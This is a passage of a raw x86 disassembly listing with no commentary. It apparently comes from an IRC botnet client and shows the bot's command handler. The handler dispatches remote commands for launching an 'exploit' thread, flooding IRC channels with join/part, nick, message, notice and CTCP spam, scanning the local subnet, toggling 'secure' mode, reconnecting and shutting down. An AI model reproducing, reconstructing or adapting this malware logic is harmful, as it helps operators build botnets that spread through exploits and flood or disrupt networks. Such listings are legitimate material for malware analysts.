[ebp+4Ch+var_58C], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_588], eax lea eax, [ebp+4Ch+var_628] push 80h push eax mov [ebp+4Ch+var_62C], esi call sub_41E6FE add esp, 0Ch push [ebp+4Ch+var_598] push esi call sub_4023C9 pop ecx push eax lea eax, [ebp+4Ch+var_2D0] push offset dword_42EB80 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 19h push eax call sub_40AE85 add esp, 1Ch mov [ebp+4Ch+var_594], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_62C] push eax push offset word_4144B2 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_594] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_40517F call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_42EB44 jmp loc_40A211 ; --------------------------------------------------------------------------- loc_405177: ; CODE XREF: sub_40274D+2A38j push 32h call ds:dword_42B014 ; Sleep loc_40517F: ; CODE XREF: sub_40274D+2A17j cmp [ebp+4Ch+var_584], ebx jz short loc_405177 jmp loc_402B92 ; --------------------------------------------------------------------------- loc_40518C: ; CODE XREF: sub_40274D+EB5j ; sub_40274D+ECAj mov esi, [ebp+esi+4Ch+var_A0] cmp esi, ebx jz short loc_4051A9 push esi call sub_41E7AD test ax, ax pop ecx jz short loc_4051A9 push esi call sub_41E7AD pop ecx jmp short loc_4051AF ; --------------------------------------------------------------------------- loc_4051A9: ; CODE XREF: sub_40274D+2A45j ; sub_40274D+2A51j mov ax, ds:word_43C080 loc_4051AF: ; CODE XREF: sub_40274D+2A5Aj push [ebp+4Ch+var_9C] mov esi, [ebp+4Ch+arg_4] mov edi, [ebp+4Ch+var_4] mov [ebp+4Ch+var_984], ax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_974], eax lea eax, [ebp+4Ch+var_A04] push 80h push eax mov [ebp+4Ch+var_A08], esi mov [ebp+4Ch+var_978], edi call sub_41E6FE movzx eax, [ebp+4Ch+var_984] add esp, 0Ch push eax push esi call sub_4023C9 pop ecx push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42EB18 push eax call sub_41E6A6 push ebx push edi lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push esi call sub_40123B push ebx lea eax, [ebp+4Ch+var_2D0] push 6 push eax call sub_40AE85 add esp, 30h mov [ebp+4Ch+var_980], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_A08] push eax push offset loc_411555 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_980] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_40527B call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42EAD8 jmp loc_40A211 ; --------------------------------------------------------------------------- loc_405273: ; CODE XREF: sub_40274D+2B34j push 32h call ds:dword_42B014 ; Sleep loc_40527B: ; CODE XREF: sub_40274D+2B13j cmp [ebp+4Ch+var_970], ebx jz short loc_405273 jmp loc_402B92 ; --------------------------------------------------------------------------- loc_405288: ; CODE XREF: sub_40274D+E61j ; sub_40274D+E76j ... push edi push offset aSecure ; "secure" call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_4052B0 push edi push offset aSec ; "sec" call sub_41E990 test eax, eax pop ecx pop ecx mov [ebp+4Ch+var_A18], ebx jnz short loc_4052BA loc_4052B0: ; CODE XREF: sub_40274D+2B4Aj mov [ebp+4Ch+var_A18], 1 loc_4052BA: ; CODE XREF: sub_40274D+2B61j push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_A9C] push 80h push eax call sub_41E6FE mov eax, [ebp+4Ch+arg_4] mov [ebp+4Ch+var_AA0], eax mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_A14], eax mov eax, [ebp+4Ch+var_C] add esp, 0Ch cmp [ebp+4Ch+var_A18], ebx mov [ebp+4Ch+var_A10], eax mov eax, offset aSecuring ; "Securing" jnz short loc_4052FE mov eax, offset aUnsecuring ; "Unsecuring" loc_4052FE: ; CODE XREF: sub_40274D+2BAAj push eax push offset dword_42EAA4 lea eax, [ebp+4Ch+var_2D0] push 200h push eax call sub_41E6FE push ebx lea eax, [ebp+4Ch+var_2D0] push 22h push eax call sub_40AE85 add esp, 1Ch mov [ebp+4Ch+var_A1C], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_AA0] push eax push offset aUnlMbS_0 ; "Ul$Œì˜" push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_A1C] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_405375 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_42EA68 jmp loc_408D01 ; --------------------------------------------------------------------------- loc_40536D: ; CODE XREF: sub_40274D+2C2Ej push 32h call ds:dword_42B014 ; Sleep loc_405375: ; CODE XREF: sub_40274D+2C0Dj cmp [ebp+4Ch+var_A0C], ebx jz short loc_40536D jmp loc_408D10 ; --------------------------------------------------------------------------- loc_405382: ; CODE XREF: sub_40274D+E37j ; sub_40274D+E4Cj push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_41D41B jmp loc_409DE9 ; --------------------------------------------------------------------------- loc_405395: ; CODE XREF: sub_40274D+E0Dj ; sub_40274D+E22j push offset unk_42E9B8 jmp loc_406C3F ; --------------------------------------------------------------------------- loc_40539F: ; CODE XREF: sub_40274D+DE3j ; sub_40274D+DF8j push offset aRx ; "rx" push offset dword_42E9A4 jmp loc_4076D4 ; --------------------------------------------------------------------------- loc_4053AE: ; CODE XREF: sub_40274D+DB9j ; sub_40274D+DCEj mov esi, [ebp+esi+4Ch+var_A0] cmp esi, ebx jz short loc_405407 push esi call sub_41E7AD cmp eax, ebx pop ecx jl short loc_4053FC cmp eax, 3 jge short loc_4053FC mov edx, [ebp+4Ch+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp [esi], bl jz short loc_4053F1 lea eax, [esi+1] push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42FC70 push eax call sub_41E6A6 mov [esi], bl jmp loc_40698A ; --------------------------------------------------------------------------- loc_4053F1: ; CODE XREF: sub_40274D+2C86j push eax push offset unk_42E978 jmp loc_40697E ; --------------------------------------------------------------------------- loc_4053FC: ; CODE XREF: sub_40274D+2C72j ; sub_40274D+2C77j push eax push offset unk_42E94C jmp loc_40697E ; --------------------------------------------------------------------------- loc_405407: ; CODE XREF: sub_40274D+2C67j mov edi, [ebp+4Ch+arg_18] xor esi, esi loc_40540C: ; CODE XREF: sub_40274D+2CD8j push [ebp+4Ch+var_A4] push edi call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_40542C inc esi add edi, 80h cmp esi, 3 jl short loc_40540C jmp loc_40698D ; --------------------------------------------------------------------------- loc_40542C: ; CODE XREF: sub_40274D+2CCCj mov eax, [ebp+4Ch+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+4Ch+var_D0] push eax push offset unk_42FC70 jmp loc_40697E ; --------------------------------------------------------------------------- loc_405446: ; CODE XREF: sub_40274D+D8Fj ; sub_40274D+DA4j push [ebp+4Ch+var_A0] push offset dword_42FBF4 call sub_41E990 test eax, eax pop ecx pop ecx jz loc_403F48 call sub_40AFF6 loc_405462: ; CODE XREF: sub_40274D+2552j push ebx call ds:dword_42B000 ; ExitProcess loc_405469: ; CODE XREF: sub_40274D+1831j push offset aGet_0 ; "get" push esi call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_40550F cmp ds:dword_4D5898, ebx jz short loc_405495 push offset dword_4D5698 push offset unk_42E910 jmp loc_405521 ; --------------------------------------------------------------------------- loc_405495: ; CODE XREF: sub_40274D+2D37j push 10h pop eax push eax mov [ebp+4Ch+var_2D8], eax lea eax, [ebp+4Ch+var_2F0] push ebx push eax call sub_41E5F0 add esp, 0Ch lea eax, [ebp+4Ch+var_2D8] push eax lea eax, [ebp+4Ch+var_2F0] push eax push [ebp+4Ch+arg_4] call ds:dword_42B220 ; getsockname movzx eax, [ebp+4Ch+var_2EA] push eax movzx eax, [ebp+4Ch+var_2EB] push eax movzx eax, [ebp+4Ch+var_2EC] push eax lea eax, [ebp+4Ch+var_DB8] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_DB8] push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42E910 push eax call sub_41E6A6 add esp, 20h jmp loc_403F9D ; --------------------------------------------------------------------------- loc_40550F: ; CODE XREF: sub_40274D+2D2Bj push esi call ds:dword_44417C ; inet_addr cmp eax, 0FFFFFFFFh push esi jnz short loc_405535 push offset unk_42E8D0 loc_405521: ; CODE XREF: sub_40274D+2D43j lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 add esp, 0Ch jmp loc_403F9D ; --------------------------------------------------------------------------- loc_405535: ; CODE XREF: sub_40274D+2DCDj push offset dword_4D5698 call sub_41EEC0 push esi lea eax, [ebp+4Ch+var_2D0] push offset unk_42E8A4 push eax mov ds:dword_4D5898, 1 call sub_41E6A6 add esp, 14h jmp loc_403F9D ; --------------------------------------------------------------------------- loc_405563: ; CODE XREF: sub_40274D+1819j push edi push offset aExploit ; "exploit" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_40565C mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_13EC], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_13E8], eax mov eax, [ebp+4Ch+arg_4] mov esi, offset aImortal2_0 ; "#imortal2" push esi mov [ebp+4Ch+var_13FC], eax mov edi, 80h lea eax, [ebp+4Ch+var_147C] push edi push eax mov [ebp+4Ch+var_13F4], 1 call sub_41E6FE push esi lea eax, [ebp+4Ch+var_14FC] push edi push eax call sub_41E6FE push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_150C] push 10h push eax call sub_41E6FE lea eax, [ebp+4Ch+var_150C] push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42E86C push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 8 push eax call sub_40AE85 add esp, 3Ch mov [ebp+4Ch+var_13F0], eax lea eax, [ebp+4Ch+var_304] push eax push ebx lea eax, [ebp+4Ch+var_150C] push eax push offset byte_40C15B push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_13F0] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_40564F call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42E82C jmp loc_40697E ; --------------------------------------------------------------------------- loc_405647: ; CODE XREF: sub_40274D+2F08j push 32h call ds:dword_42B014 ; Sleep loc_40564F: ; CODE XREF: sub_40274D+2EE7j cmp [ebp+4Ch+var_13E4], ebx jz short loc_405647 jmp loc_40698D ; --------------------------------------------------------------------------- loc_40565C: ; CODE XREF: sub_40274D+2E25j push edi push offset aReconnect_in ; "reconnect.in" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40A01D push edi push offset aRin ; "rin" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40A01D push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409FE3 push edi push offset aRinms ; "rinms" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409FE3 push [ebp+4Ch+var_10] push offset aFlood ; "flood" call sub_41E990 test eax, eax mov edi, ds:dword_42B014 pop ecx pop ecx jnz loc_406175 call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 push [ebp+4Ch+var_8] push offset aLoad ; "load" call sub_41E990 add esp, 0Ch test eax, eax jnz short loc_405750 cmp [ebp+esi+4Ch+var_94], ebx jz short loc_405750 push [ebp+esi+4Ch+var_94] call sub_41E7AD pop ecx push eax push [ebp+esi+4Ch+var_98] call sub_41E7AD pop ecx push eax push [ebp+esi+4Ch+var_9C] call sub_41A954 push [ebp+esi+4Ch+var_98] lea eax, [ebp+4Ch+var_2D0] push [ebp+esi+4Ch+var_9C] push [ebp+esi+4Ch+var_94] push offset unk_42E7C4 push eax call sub_41E6A6 add esp, 20h cmp [ebp+4Ch+var_C], ebx jnz short loc_405750 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_405750: ; CODE XREF: sub_40274D+2F9Ej ; sub_40274D+2FA4j ... push [ebp+4Ch+var_8] push offset aPm ; "pm" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4057B3 mov eax, [ebp+esi+4Ch+var_98] cmp eax, ebx jz short loc_4057B3 push offset asc_42FCE0 ; " " push offset a_ ; "_" push eax call sub_41AB7D push eax lea eax, [ebp+4Ch+var_50FC] push eax call sub_41EEC0 lea eax, [ebp+4Ch+var_50FC] push eax push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aPrivmsgSS ; "privmsg %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 28h loc_4057B3: ; CODE XREF: sub_40274D+3014j ; sub_40274D+301Cj push [ebp+4Ch+var_8] push offset dword_42E7A8 call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_405816 mov eax, [ebp+esi+4Ch+var_98] cmp eax, ebx jz short loc_405816 push offset asc_42FCE0 ; " " push offset a_ ; "_" push eax call sub_41AB7D push eax lea eax, [ebp+4Ch+var_4BF8] push eax call sub_41EEC0 lea eax, [ebp+4Ch+var_4BF8] push eax push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset dword_42E794 push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 28h loc_405816: ; CODE XREF: sub_40274D+3077j ; sub_40274D+307Fj push [ebp+4Ch+var_8] push offset aNt ; "nt" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_405879 mov eax, [ebp+esi+4Ch+var_98] cmp eax, ebx jz short loc_405879 push offset asc_42FCE0 ; " " push offset a_ ; "_" push eax call sub_41AB7D push eax lea eax, [ebp+4Ch+var_46F4] push eax call sub_41EEC0 lea eax, [ebp+4Ch+var_46F4] push eax push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aNoticeSS_0 ; "notice %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 28h loc_405879: ; CODE XREF: sub_40274D+30DAj ; sub_40274D+30E2j push [ebp+4Ch+var_8] push offset aMode ; "mode" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4058DC mov eax, [ebp+esi+4Ch+var_98] cmp eax, ebx jz short loc_4058DC push offset asc_42FCE0 ; " " push offset a_ ; "_" push eax call sub_41AB7D push eax lea eax, [ebp+4Ch+var_4DF8] push eax call sub_41EEC0 lea eax, [ebp+4Ch+var_4DF8] push eax push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aModeSS ; "mode %s %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 28h loc_4058DC: ; CODE XREF: sub_40274D+313Dj ; sub_40274D+3145j push [ebp+4Ch+var_8] push offset aJoin ; "join" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_405918 mov eax, [ebp+esi+4Ch+var_9C] cmp eax, ebx jz short loc_405918 push eax lea eax, [ebp+4Ch+var_2D0] push offset aJoinS ; "join %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 10h loc_405918: ; CODE XREF: sub_40274D+31A0j ; sub_40274D+31A8j push [ebp+4Ch+var_8] push offset aPart_0 ; "part" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_405954 mov eax, [ebp+esi+4Ch+var_9C] cmp eax, ebx jz short loc_405954 push eax lea eax, [ebp+4Ch+var_2D0] push offset aPartS ; "part %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 10h loc_405954: ; CODE XREF: sub_40274D+31DCj ; sub_40274D+31E4j push [ebp+4Ch+var_8] push offset aPartflood ; "partflood" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_405995 mov eax, [ebp+esi+4Ch+var_9C] cmp eax, ebx jz short loc_405995 push offset byte_42C60E push eax lea eax, [ebp+4Ch+var_2D0] push offset aPartSS ; "part %s %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h loc_405995: ; CODE XREF: sub_40274D+3218j ; sub_40274D+3220j push [ebp+4Ch+var_8] push offset aPnick ; "pnick" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_405A04 cmp [ebp+esi+4Ch+var_9C], ebx jz short loc_405A04 call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 call sub_41ECDE cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+4Ch+var_1810] push edx push [ebp+esi+4Ch+var_9C] push offset aSI ; "%s%i" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_1810] push eax lea eax, [ebp+4Ch+var_2D0] push offset aNickS_0 ; "NICK %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 24h loc_405A04: ; CODE XREF: sub_40274D+3259j ; sub_40274D+325Fj push [ebp+4Ch+var_8] push offset aJoinPart ; "join/part" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_405B36 cmp [ebp+esi+4Ch+var_9C], ebx jz loc_405B36 push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aJoinS ; "join %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C push offset byte_42C60E push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aPartSS ; "part %s %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 24h call sub_41ECDE cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aJoinS ; "join %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 10h call sub_41ECDE cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset byte_42C60E push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aPartSS ; "part %s %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aJoinS ; "join %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 24h call sub_41ECDE cdq mov ecx, 0C8h idiv ecx push edx call edi ; Sleep push offset byte_42C60E push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aPartSS ; "part %s %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h loc_405B36: ; CODE XREF: sub_40274D+32C8j ; sub_40274D+32D2j push [ebp+4Ch+var_8] push offset dword_42E70C call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_405BC6 cmp [ebp+esi+4Ch+var_9C], ebx jz short loc_405BC6 call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 pop ecx call sub_41ECDE cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41ECDE cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41ECDE cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41ECDE cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41ECDE cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+4Ch+var_2D0] push edx push [ebp+esi+4Ch+var_9C] push offset dword_42E6E4 push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 24h loc_405BC6: ; CODE XREF: sub_40274D+33FAj ; sub_40274D+3400j push [ebp+4Ch+var_8] push offset aNick_0 ; "nick" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_405CC0 mov eax, [ebp+esi+4Ch+var_9C] cmp eax, ebx jz loc_405CC0 push eax lea eax, [ebp+4Ch+var_2D0] push offset aJoinS ; "join %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C lea eax, [ebp+4Ch+var_4C4] push eax call sub_41A293 lea eax, [ebp+4Ch+var_4C4] push eax lea eax, [ebp+4Ch+var_2D0] push offset aNickS_0 ; "NICK %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 24h call sub_41ECDE cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep lea eax, [ebp+4Ch+var_4C4] push eax call sub_41A293 lea eax, [ebp+4Ch+var_4C4] push eax lea eax, [ebp+4Ch+var_2D0] push offset aNickS_0 ; "NICK %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h call sub_41ECDE cdq mov ecx, 1F4h idiv ecx push edx call edi ; Sleep lea eax, [ebp+4Ch+var_4C4] push eax call sub_41A293 lea eax, [ebp+4Ch+var_4C4] push eax lea eax, [ebp+4Ch+var_2D0] push offset aNickS_0 ; "NICK %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h loc_405CC0: ; CODE XREF: sub_40274D+348Aj ; sub_40274D+3496j push [ebp+4Ch+var_8] push offset aChgnick ; "chgnick" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_405D06 lea eax, [ebp+4Ch+var_17D8] push eax call sub_41A293 lea eax, [ebp+4Ch+var_17D8] push eax lea eax, [ebp+4Ch+var_2D0] push offset aNickS_0 ; "NICK %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h loc_405D06: ; CODE XREF: sub_40274D+3584j push [ebp+4Ch+var_8] push offset aMsg ; "msg" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_405DE3 cmp [ebp+esi+4Ch+var_9C], ebx jz loc_405DE3 push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aJoinS ; "join %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C push offset byte_42C60F push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aPrivmsgSS ; "privmsg %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 24h call sub_41ECDE cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset byte_42C60F push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aPrivmsgSS ; "privmsg %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h call sub_41ECDE cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset byte_42C60F push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aPrivmsgSS ; "privmsg %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h loc_405DE3: ; CODE XREF: sub_40274D+35CAj ; sub_40274D+35D4j push [ebp+4Ch+var_8] push offset aNotice_0 ; "notice" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_405EC0 cmp [ebp+esi+4Ch+var_9C], ebx jz loc_405EC0 push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aJoinS ; "join %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C push offset byte_42C60F push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 24h call sub_41ECDE cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset byte_42C60F push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h call sub_41ECDE cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset byte_42C60F push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h loc_405EC0: ; CODE XREF: sub_40274D+36A7j ; sub_40274D+36B1j push [ebp+4Ch+var_8] push offset aCtcp ; "ctcp" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_405FC2 cmp [ebp+esi+4Ch+var_9C], ebx jz loc_405FC2 push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aJoinS ; "join %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset dword_42E69C push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 20h call sub_41ECDE cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset dword_42E684 push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 10h call sub_41ECDE cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset dword_42E66C push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 10h call sub_41ECDE cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset dword_42E66C push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 10h loc_405FC2: ; CODE XREF: sub_40274D+3784j ; sub_40274D+378Ej push [ebp+4Ch+var_8] push offset aMix ; "mix" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_4060D3 cmp [ebp+esi+4Ch+var_9C], ebx jz loc_4060D3 push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aJoinS ; "join %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset dword_42E69C push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 20h call sub_41ECDE cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset byte_42C60F push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h call sub_41ECDE cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset byte_42C60F push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h call sub_41ECDE cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset byte_42C60F push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aNoticeSS_1 ; "NOTICE %s :%s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h loc_4060D3: ; CODE XREF: sub_40274D+3886j ; sub_40274D+3890j push [ebp+4Ch+var_8] push offset aRegister ; "register" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406113 mov eax, [ebp+esi+4Ch+var_98] cmp eax, ebx jz short loc_406113 push eax push [ebp+esi+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_41A24C add esp, 14h loc_406113: ; CODE XREF: sub_40274D+3997j ; sub_40274D+399Fj push [ebp+4Ch+var_8] push offset aOff ; "off" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_406CD6 mov edi, offset dword_4DB58C loc_40612F: ; CODE XREF: sub_40274D+3A01j cmp dword ptr [edi-4], 1 jnz short loc_406142 mov eax, [edi] cmp eax, ebx jbe short loc_406142 push eax call ds:dword_444218 ; closesocket loc_406142: ; CODE XREF: sub_40274D+39E6j ; sub_40274D+39ECj add edi, 210h cmp edi, offset dword_4E1CAC jl short loc_40612F cmp [ebp+4Ch+var_C], ebx jnz loc_406CD6 push ebx push [ebp+4Ch+var_4] push offset unk_42E60C push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h jmp loc_406CD6 ; --------------------------------------------------------------------------- loc_406175: ; CODE XREF: sub_40274D+2F7Aj mov edi, [ebp+4Ch+var_10] push edi push offset aNick_0 ; "nick" call 